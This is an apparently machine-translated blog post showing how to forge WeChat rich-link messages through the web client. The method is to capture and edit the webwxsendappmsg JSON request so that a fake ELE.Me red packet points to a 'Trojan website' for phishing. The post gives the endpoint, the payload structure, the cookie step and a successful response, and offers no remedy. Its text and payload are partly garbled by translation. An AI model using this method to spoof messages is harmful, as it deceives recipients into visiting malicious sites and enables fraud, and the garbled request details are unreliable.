WeChat webpage version link sharing Vulnerability (such as forging ELE. Me red packet Phishing)

Webpage version link sharing Vulnerability (for example, forging ELE. Me red packet Phishing)

Use the web terminal to Modify text-and-text link messages (such as ELE. Me red packet messages), and then send them out. After testing, you can modify the headers, summaries, and jump links, for example, if you change the jump link to a Trojan website, the user thinks it is a normal red packet. After you click it, GG goes in.

First log on to the https://wx.qq.com/browser F12 packet capture with a mobile phone to send a text link message (such as ELE. Me What red packet) to get such a message package
 

Sort the packets and assemble them into the packets to be sent.
 

{"BaseRequest": {"Uin": 716107972, "Sid": "SebkHMNCgz8nhpLX", "Skey": "@ override", "DeviceID": "e881369842914864 "}, "Msg": {"Type": 5, "Content ":"
 
  
IQiYi is held every Sunday at, and Wang zulan, the magic stage
 
 
  
0
 
 
 
 
 
 
  
Https://m.ele.me/activities/hongbao? Hardware_id = week & track_id = 1442566941% week % week & d18: 20 Sunday vice_id = b325dc11-26e0-3c79-a918-955dc85b7b34 & sn = 28cf845bf9a08aa4addc2044d9944866
 
 
 
 
 
  
0
 
 
 
 
  
Bytes
 
 
  
17478
 
 
  
100
 
 
  
200
 
 
  
39333861323861363666626436616431
 39333861323861363666626436616431
 
  
0
 
 
 
 
 "," FromUserName ":" @ resolve "," ToUserName ":" @ resolve "," LocalID ":" 14493964037650761 "," ClientMsgId ": "14493964037650761"} submitted address

https://wx.qq.com/cgi-bin/mmwebwx-bin/webwxsendappmsg?fun=async&f=json

Finally, add the Cookies obtained during logon to send the POST request.

Return
 

{"BaseResponse": {"Ret": 0, "ErrMsg": ""}, "MsgID": "2878317252114451231", "LocalID ": "14494045349370329"} a simple small program has been developed for successful sending.

 

 

Let's take a look at the received message, which instantly gets worse...

Four messages from top to bottom

Article 1: normal red packets

Article 2: modified the jump URL

Article 3: modified the text description

Article 4: Modified AppID
 

 

Javascript: void (0)

Solution:

Don't know ~